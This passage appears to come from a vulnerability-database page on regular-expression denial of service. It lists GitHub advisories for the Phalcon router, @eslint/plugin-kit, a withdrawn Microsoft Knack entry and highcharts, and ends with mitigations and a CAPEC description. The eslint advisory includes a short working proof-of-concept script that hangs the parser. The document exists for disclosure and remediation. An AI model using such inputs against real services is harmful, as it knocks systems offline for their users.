exponential each four extra slashes multiplies the time by ~16\u00d7 (`2^(N/2)`). A ~34-byte URL already costs ~5.7 s of CPU; ~40 bytes reaches minutes.\n\n## Impact\n\nTwo regimes, both measured on the real build:\n\n- **Default PHP configuration (JIT on, `pcre.backtrack_limit = 1,000,000`):** each match bails at the backtrack limit after a fixed ~1 ms and `preg_match()` reports failure. This is not a per-request hang, but it is (a) a large CPU amplification per tiny request a few hundred concurrent ~40-byte requests saturate the PHP-FPM worker pool (volumetric DoS), and (b) a correctness bug, because the default route silently fails to match and affected requests mis-route / 404. \n\n- **PCRE JIT disabled, or `pcre.backtrack_limit` raised:** a single ~40-byte request pins a CPU core for seconds to minutes a classic single-packet ReDoS that hangs a worker outright. PCRE JIT is disabled on a number of distributions/builds, and applications with complex routes or large request bodies sometimes raise the backtrack limit, so this is a realistic configuration.",
"id": "GHSA-x7rj-f32v-7jjg",
"modified": "2026-08-28T16:06:31Z",
"published": "2026-08-28T16:06:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/security/advisories/GHSA-x7rj-f32v-7jjg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57584"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/commit/14ba22d389d5ca620bb9d5207205f836ef1224f2"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/commit/fa798e919cb2c487062bb9899ad6fc2b673b3a67"
},
{
"type": "PACKAGE",
"url": "https://github.com/phalcon/cphalcon"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/releases/tag/v5.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Phalcon: Catastrophic backtracking (ReDoS) in the default Phalcon Router route lead to remote unauthenticated DoS"
}
GHSA-XFFM-G5W8-QVG7
Vulnerability from github – Published: 2025-07-18 20:39 – Updated: 2025-07-28 17:34Summary
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
Details
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
PoC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
Impact
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@eslint/plugin-kit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-18T20:39:12Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nThe `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.\n\n### Details\n\nThe regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.\n\n### PoC\n\n```javascript\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nconst str = `${\"A\".repeat(1000000)}?: 1 B: 2`;\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseJSONLikeConfig(str));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`\n// then the program will stuck forever with high CPU usage\n```\n\n### Impact\n\nThis is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.",
"id": "GHSA-xffm-g5w8-qvg7",
"modified": "2025-07-28T17:34:44Z",
"published": "2025-07-18T20:39:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7"
},
{
"type": "WEB",
"url": "https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805"
},
{
"type": "PACKAGE",
"url": "https://github.com/eslint/rewrite"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser"
}
GHSA-XH9H-692F-MMG4
Vulnerability from github – Published: 2025-08-20 03:30 – Updated: 2025-08-29 20:14Withdrawn Advisory
This advisory has been withdrawn because the attack surface of this vulnerability is outside of Knack's intended functionality. The maintainer states the following:
These CVEs are invalid. Knack is a CLI framework used by Azure CLI. It's a local library, not a web service. In addition, the regex is used to extract function and parameter docstrings from the source code. It is not used to match user input. Therefore, it does not expose any attack surface. There is no way to use it for ReDoS attack.
This link is maintained to preserve external references.
Original Description
Microsoft Knack 0.12.0 allows Regular expression Denial of Service (ReDoS) in the knack.introspection module (issue 2 of 2).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "knack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.12.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54364"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-21T15:01:00Z",
"nvd_published_at": "2025-08-20T03:15:35Z",
"severity": "LOW"
},
"details": "### Withdrawn Advisory\nThis advisory has been withdrawn because the attack surface of this vulnerability is outside of Knack\u0027s intended functionality. The maintainer states the following:\n\n\u003e These CVEs are invalid. Knack is a CLI framework used by [Azure CLI](https://github.com/Azure/azure-cli). It\u0027s a local library, not a web service. In addition, the regex is used to extract function and parameter docstrings from the source code. It is not used to match user input. Therefore, it does not expose any attack surface. There is no way to use it for ReDoS attack.\n\nThis link is maintained to preserve external references.\n\n### Original Description\nMicrosoft Knack 0.12.0 allows Regular expression Denial of Service (ReDoS) in the knack.introspection module (issue 2 of 2).",
"id": "GHSA-xh9h-692f-mmg4",
"modified": "2025-08-29T20:14:37Z",
"published": "2025-08-20T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54364"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/knack/issues/281"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/knack/issues/281#issuecomment-3218922941"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/knack"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/microsoft-knack-python-package-regular-expression-dos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Withdrawn Advisory: Microsoft Knack ReDoS Vulnerability in the Introspection Module",
"withdrawn": "2025-08-29T20:14:37Z"
}
GHSA-XMC8-CJFR-PHX3
Vulnerability from github – Published: 2019-03-18 15:59 – Updated: 2021-09-21 22:36Versions of highcharts prior to 6.1.0 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Recommendation
Upgrade to version 6.1.0 or higher.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "highcharts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-20801"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:03:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Versions of `highcharts` prior to 6.1.0 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 6.1.0 or higher.",
"id": "GHSA-xmc8-cjfr-phx3",
"modified": "2021-09-21T22:36:57Z",
"published": "2019-03-18T15:59:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20801"
},
{
"type": "WEB",
"url": "https://github.com/highcharts/highcharts/commit/7c547e1e0f5e4379f94396efd559a566668c0dfa"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-xmc8-cjfr-phx3"
},
{
"type": "PACKAGE",
"url": "https://github.com/highcharts/highcharts"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190715-0001"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/npm:highcharts:20180225"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/793"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in highcharts"
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.